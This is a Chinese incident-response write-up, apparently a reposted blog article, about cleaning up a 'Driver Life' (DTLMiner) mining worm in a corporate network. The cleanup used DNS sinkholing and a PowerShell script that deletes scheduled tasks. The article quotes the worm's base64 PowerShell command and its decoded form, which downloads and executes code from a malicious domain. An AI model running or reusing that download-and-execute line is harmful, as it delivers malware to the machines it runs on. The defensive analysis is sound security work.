本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!
欢迎各位添加微信号:qinchang_198231
加入安世加 交流群 和大佬们一起交流安全技术
背景
作为一名甲方安全工程师,平时除了对自家web进行渗透之外,还需要对突发的安全事件进行应急。
这不是临近下班了,运维兄弟突然通知我们,有大量的windows机器cpu占用异常,很多都达到100%了,我们眉头一皱感觉事情不简单。
起因
二话没说问运维兄弟要了台机器的账号和密码,远程登陆查看情况,上来就看到cpu占用100%。这不妙啊,没跑啥服务就这么高,不会是被挖矿了吧。
服务器执行netstat -ano |findstr 445 可以看到一大堆的445链接,初步判断中毒了,而且扩散很严重,其中有扫描连接国外ip,不像直接定向攻击公司的病毒。继续观察其他的端口连接信息。
通过netstat -ano|findstr 1433 发现 对1433的连接也很多。
我们判断是服务器中毒了,运维也联系安全公司派人应急。
病毒应急
时间不等人,求人不如求自己,安全工程师要在这时候站出来。 检查服务器进程发现异常,svchost.exe下有powershell进程,查看详情发现命令很诡异。
powershell如下:
powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=
解码后是这样: 居然是个远程下载的ps命令,还是不认识的域名。
IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)
微步在线查一下发现是木马和驱动人生后门:
百度搜索该域名后也确认为驱动人生病毒后门病毒,不排除变种。
查看计划任务,发现这台机器已经被写入了好多定时任务,查看详情全部为同样的ps命令。
病毒会通过powershell定时远程下载新的powershell并执行,开始蠕虫式传播。通过下载获取到源码如下:
查看widows目录,发现大量的随机命名exe文件和mimikatz运行日志。
获取到病毒样本的md5,也与公布的一致,确认为“驱动人生”病毒。 那么整个流程就很清楚了,大致如下:
我和同事们梳理了当前的情况:
-
该病毒利用永恒之蓝漏洞、弱口令、mimikatz抓取域密码、数据库弱口令等方式传播。中毒特征为cpu使用率升高、对外请求恶意域名。
-
第一感染区为办公网,无法判断当前数量。
-
办公网与测试环境有代理,相当于做了网段打通。
-
分公司办公网机器与总部未打通,但是域控与总部连通。
-
现有windows server中有90%打了永恒之蓝补丁。
根据当前的情况,我们首先要做的是防止扩散,但是还是晚了一步,多个分公司在工作群反馈杀毒软件弹窗,杀完之后还会出现,并且好多dhcp服务器也由于感染病毒,出现了员工网络不通的问题。
我们立马远程看了下域控,发现也中招了,哭了。
同时安全公司的应急响应工程师也确认了此次中毒事件为“驱动人生”病毒,但是无法判断第一台被感染的机器。建议全部安装杀毒软件重启并杀毒。汗,和没说一样,还是得靠我们自己。
眼看着病毒已经扩散成这样了,想办法杀毒吧。根据网上对病毒的分析,病毒会在windows计划任务添加定时任务,再执行powershell下载病毒程序躲避杀软检测。杀毒软件的查杀仅能将poweshell释放的exe杀掉,powershell还是会不断地释放病毒,仅杀毒软件查杀无法从根本上清除病毒。
那么如果我们禁止服务器外网访问,并劫持恶意域名到内网服务器,我们是不是就可以控制病毒的扩散,利用病毒原有的逻辑下载计划任务清除脚本并重启服务就可以不用手动清除毒了。
逻辑如下:
多说无益,开始整活儿。和ops咨询后,idc机房可以禁止服务器外网访问,办公网和测试网由于有需求需要开启外网访问,但所有的机器使用的dns服务器均为公司的私有dns。
我们将v.beahh.com解析到了192.168.10.55上,同时我们在上面起一个微型web服务,对所有请求返回杀毒powershell脚本代码:
$service=New-Object -ComObject("Schedule.Service")
$service.Connect($env:COMPUTERNAME)
#递归所有powershell有关的计划任务,发现立即删除
Function DeletePowershellTaskScheduler($TaskPath){
$folder=$service.GetFolder($TaskPath)
$taskitem=$folder.GetFolders(0)
foreach($i in $taskitem){
$tasks=$i.GetTasks(0)
foreach($task in $tasks){
$taskName=$task.Name
$taskPath=$task.Path
$taskXml=$task.Xml
#Write-Host $taskName
if([String]::IsNullOrEmpty($taskXml)){
$i.DeleteTask($taskName,0)
Write-Host "$taskName shcdule tree error , delete sucess"
}
elseif ($taskXml.ToLower().Contains("powershell")){
Write-Host "find scheduler script:$taskPath"
$task.Enabled=0
$i.DeleteTask($taskName,0)
}
}
DeletePowershellTaskScheduler($i.Path)
}
}
Write-Host "clear powershell script"
DeletePowershellTaskScheduler -TaskPath ""
Write-Host "clear powershell script done."
Restart-Service schedule
Get-Process -Name powershell | Stop-Process -For
nginx配置访问路径,所有请求都返回到dns.php。
location / {
try_files '' /dns.php;
}
dns.php
$ps = "Invoke-Expression ([System.Text.UnicodeEncoding]::Unicode.GetString([Convert]::FromBase64String("JABzAGUAcgB2AGkAYwBlAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAKAAiAFMAYwBoAGUAZAB1AGwAZQAuAFMAZQByAHYAaQBjAGUAIgApAA0ACgAkAHMAZQByAHYAaQBjAGUALgBDAG8AbgBuAGUAYwB0ACgAJABlAG4AdgA6AEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACkADQAKAEYAdQBuAGMAdABpAG8AbgAgAEQAZQBsAGUAdABlAFAAbwB3AGUAcgBzAGgAZQBsAGwAVABhAHMAawBTAGMAaABlAGQAdQBsAGUAcgAoACQAVABhAHMAawBQAGEAdABoACkAewANAAoAIAAgACAAIAAkAGYAbwBsAGQAZQByAD0AJABzAGUAcgB2AGkAYwBlAC4ARwBlAHQARgBvAGwAZABlAHIAKAAkAFQAYQBzAGsAUABhAHQAaAApAA0ACgAgACAAIAAgACQAdABhAHMAawBpAHQAZQBtAD0AJABmAG8AbABkAGUAcgAuAEcAZQB0AEYAbwBsAGQAZQByAHMAKAAwACkADQAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgACQAdABhAHMAawBpAHQAZQBtACkAewANAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHMAawBzAD0AJABpAC4ARwBlAHQAVABhAHMAawBzACgAMAApAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAoACQAdABhAHMAawAgAGkAbgAgACQAdABhAHMAawBzACkAewANAAoAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAYQBzAGsATgBhAG0AZQA9ACQAdABhAHMAawAuAE4AYQBtAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdABhAHMAawBQAGEAdABoAD0AJAB0AGEAcwBrAC4AUABhAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AGEAcwBrAFgAbQBsAD0AJAB0AGEAcwBrAC4AWABtAGwADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAVwByAGkAdABlAC0ASABvAHMAdAAgACQAdABhAHMAawBOAGEAbQBlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKABbAFMAdAByAGkAbgBnAF0AOgA6AEkAcwBOAHUAbABsAE8AcgBFAG0AcAB0AHkAKAAkAHQAYQBzAGsAWABtAGwAKQApAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAC4ARABlAGwAZQB0AGUAVABhAHMAawAoACQAdABhAHMAawBOAGEAbQBlACwAMAApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACQAdABhAHMAawBOAGEAbQBlACAAcwBoAGMAZAB1AGwAZQAgAHQAcgBlAGUAIABlAHIAcgBvAHIAIAAsACAAZABlAGwAZQB0AGUAIABzAHUAYwBlAHMAcwAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlAGkAZgAgACgAJAB0AGEAcwBrAFgAbQBsAC4AVABvAEwAbwB3AGUAcgAoACkALgBDAG8AbgB0AGEAaQBuAHMAKAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgApACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBmAGkAbgBkACAAcwBjAGgAZQBkAHUAbABlAHIAIABzAGMAcgBpAHAAdAA6ACQAdABhAHMAawBQAGEAdABoACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AGEAcwBrAC4ARQBuAGEAYgBsAGUAZAA9ADAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAC4ARABlAGwAZQB0AGUAVABhAHMAawAoACQAdABhAHMAawBOAGEAbQBlACwAMAApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoADQAKACAAIAAgACAAIAAgACAAIABEAGUAbABlAHQAZQBQAG8AdwBlAHIAcwBoAGUAbABsAFQAYQBzAGsAUwBjAGgAZQBkAHUAbABlAHIAKAAkAGkALgBQAGEAdABoACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgB9AA0ACgBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBjAGwAZQBhAHIAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAcwBjAHIAaQBwAHQAIgANAAoARABlAGwAZQB0AGUAUABvAHcAZQByAHMAaABlAGwAbABUAGEAcwBrAFMAYwBoAGUAZAB1AGwAZQByACAALQBUAGEAcwBrAFAAYQB0AGgAIAAiAFwAIgANAAoAUgBlAHMAdABhAHIAdAAtAFMAZQByAHYAaQBjAGUAIABzAGMAaABlAGQAdQBsAGUADQAKAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQA=")));";
echo $ps;
或者也可以使用python启动微型web服务:
#coding=UTF-8
from bottle import route, request, run
import json
import logging
ps="""
Invoke-Expression ([System.Text.UnicodeEncoding]::Unicode.GetString([Convert]::FromBase64String("JABzAGUAcgB2AGkAYwBlAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAKAAiAFMAYwBoAGUAZAB1AGwAZQAuAFMAZQByAHYAaQBjAGUAIgApAA0ACgAkAHMAZQByAHYAaQBjAGUALgBDAG8AbgBuAGUAYwB0ACgAJABlAG4AdgA6AEMATwBNAFAAVQBUAEUAUgBOAEEATQBFACkADQAKAEYAdQBuAGMAdABpAG8AbgAgAEQAZQBsAGUAdABlAFAAbwB3AGUAcgBzAGgAZQBsAGwAVABhAHMAawBTAGMAaABlAGQAdQBsAGUAcgAoACQAVABhAHMAawBQAGEAdABoACkAewANAAoAIAAgACAAIAAkAGYAbwBsAGQAZQByAD0AJABzAGUAcgB2AGkAYwBlAC4ARwBlAHQARgBvAGwAZABlAHIAKAAkAFQAYQBzAGsAUABhAHQAaAApAA0ACgAgACAAIAAgACQAdABhAHMAawBpAHQAZQBtAD0AJABmAG8AbABkAGUAcgAuAEcAZQB0AEYAbwBsAGQAZQByAHMAKAAwACkADQAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAoACQAaQAgAGkAbgAgACQAdABhAHMAawBpAHQAZQBtACkAewANAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHMAawBzAD0AJABpAC4ARwBlAHQAVABhAHMAawBzACgAMAApAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAoACQAdABhAHMAawAgAGkAbgAgACQAdABhAHMAawBzACkAewANAAoAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHQAYQBzAGsATgBhAG0AZQA9ACQAdABhAHMAawAuAE4AYQBtAGUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAdABhAHMAawBQAGEAdABoAD0AJAB0AGEAcwBrAC4AUABhAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AGEAcwBrAFgAbQBsAD0AJAB0AGEAcwBrAC4AWABtAGwADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAVwByAGkAdABlAC0ASABvAHMAdAAgACQAdABhAHMAawBOAGEAbQBlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAKABbAFMAdAByAGkAbgBnAF0AOgA6AEkAcwBOAHUAbABsAE8AcgBFAG0AcAB0AHkAKAAkAHQAYQBzAGsAWABtAGwAKQApAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAC4ARABlAGwAZQB0AGUAVABhAHMAawAoACQAdABhAHMAawBOAGEAbQBlACwAMAApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACQAdABhAHMAawBOAGEAbQBlACAAcwBoAGMAZAB1AGwAZQAgAHQAcgBlAGUAIABlAHIAcgBvAHIAIAAsACAAZABlAGwAZQB0AGUAIABzAHUAYwBlAHMAcwAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABlAGwAcwBlAGkAZgAgACgAJAB0AGEAcwBrAFgAbQBsAC4AVABvAEwAbwB3AGUAcgAoACkALgBDAG8AbgB0AGEAaQBuAHMAKAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgApACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBmAGkAbgBkACAAcwBjAGgAZQBkAHUAbABlAHIAIABzAGMAcgBpAHAAdAA6ACQAdABhAHMAawBQAGEAdABoACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB0AGEAcwBrAC4ARQBuAGEAYgBsAGUAZAA9ADAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABpAC4ARABlAGwAZQB0AGUAVABhAHMAawAoACQAdABhAHMAawBOAGEAbQBlACwAMAApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoADQAKACAAIAAgACAAIAAgACAAIABEAGUAbABlAHQAZQBQAG8AdwBlAHIAcwBoAGUAbABsAFQAYQBzAGsAUwBjAGgAZQBkAHUAbABlAHIAKAAkAGkALgBQAGEAdABoACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgB9AA0ACgBXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBjAGwAZQBhAHIAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAcwBjAHIAaQBwAHQAIgANAAoARABlAGwAZQB0AGUAUABvAHcAZQByAHMAaABlAGwAbABUAGEAcwBrAFMAYwBoAGUAZAB1AGwAZQByACAALQBUAGEAcwBrAFAAYQB0AGgAIAAiAFwAIgANAAoAUgBlAHMAdABhAHIAdAAtAFMAZQByAHYAaQBjAGUAIABzAGMAaABlAGQAdQBsAGUADQAKAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQA=")));
"""
#请求任何URL都返回ps可执行代码
def powershell(n):
return ps
def index():
return ps
if __name__ == '__main__':
try:
run(host='0.0.0.0',port=80,debug=True)
except Exception,e:
print e
本地测试一下,一切准备就绪:
修改DNS指向后:
短时间内就有很多机器的请求:
自动执行ps脚本后,成功删除计划任务。
通过将nginx日志或web日志与ELK结合,即可直观的判断哪些机器中毒了,哪些机器成功下载了杀毒ps脚本。
也可让运维兄弟将日志通过grafana展示出啦,更加直观,方便我们后续跟进杀毒情况。下图“中毒机器列表”即为后续演变成的常态化监控。即使后续公布了新的病毒,也只需要在dns新增恶意域名,即可监控主机的异常请求。
经过几天不懈的努力,终于将病毒完全控制。后续通过排查员工电脑确定了某员工将自己的电脑在公司重装,下载驱动人生来安装驱动,导致了捆绑病毒在公司内部扩散。
复盘总结
整个中毒应急流程从开始到结束总共经历了3天才基本杀完内网感染主机,部分主机需要手动重启才能有效。
时间节点: 2019.5.7 16:00 发现多台服务器cpu负载高 2019.5.7 16:30 多个分公司办公网杀毒软件频繁弹窗 2019.5.7 17:00 确认感染病毒,为“驱动人生”捆绑挖矿病毒DTLMiner 2019.5.7 17:10 服务器禁止对外访问,内网劫持恶意域名到内网机器192.168.10.55 2019.5.7 17:40 内网192.168.10.55启动web访问返回查杀ps脚本,并记录日志 2019.5.7 18:00 机房idc网络出现流量设备大量告警,存在永恒之蓝攻击警告 2019.5.7 20:00 办公网、机房、测试网、分公司专线dns全部解析恶意域名到同网段多台内网机器。 2019.5.7 22:00 第一波查杀结束,成功杀毒的感染告警主机1200多台,近一半windows服务器中毒。全部定时重启。 2019.5.8 18:00 对各网段部署蜜罐及主机防护Agent,提高安全监测能力。 2019.5.9 14:40 基本不再产生告警。 2019.5.9 16:00 总结复盘。
其中禁止外网访问后,大部分的病毒扩散都是因为内网服务器使用了同一套口令导致。
后续反思
-
平时的安全基线检查没有落实到位,特别是内网弱口令问题,运维人员为了便于管理服务器设置相同的密码,应定期修改,内网不使用同一套密码。
-
办公网络准入策略未实施,后续需要将准入列入工作计划。
-
服务器非完全备份,很多业务机器仅对单点服务做了备份,对中毒后的业务恢复造成了很大的影响,应要求重要业务做增量备份,且定期检查。
-
网络隔离不够规范,存在为了方便而打通网段的情况,安全制定的规范策略难以遵守和检查,需加强巡检落实。
-
通过这种方法可以附加基线检查和加固脚本,防止这批机器后续继续中毒。
-
安全要做到事前准备,而不是事后补救,每一次的教训都敲响企业自身安全的警钟,认识到不足,才能把安全做的更好。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论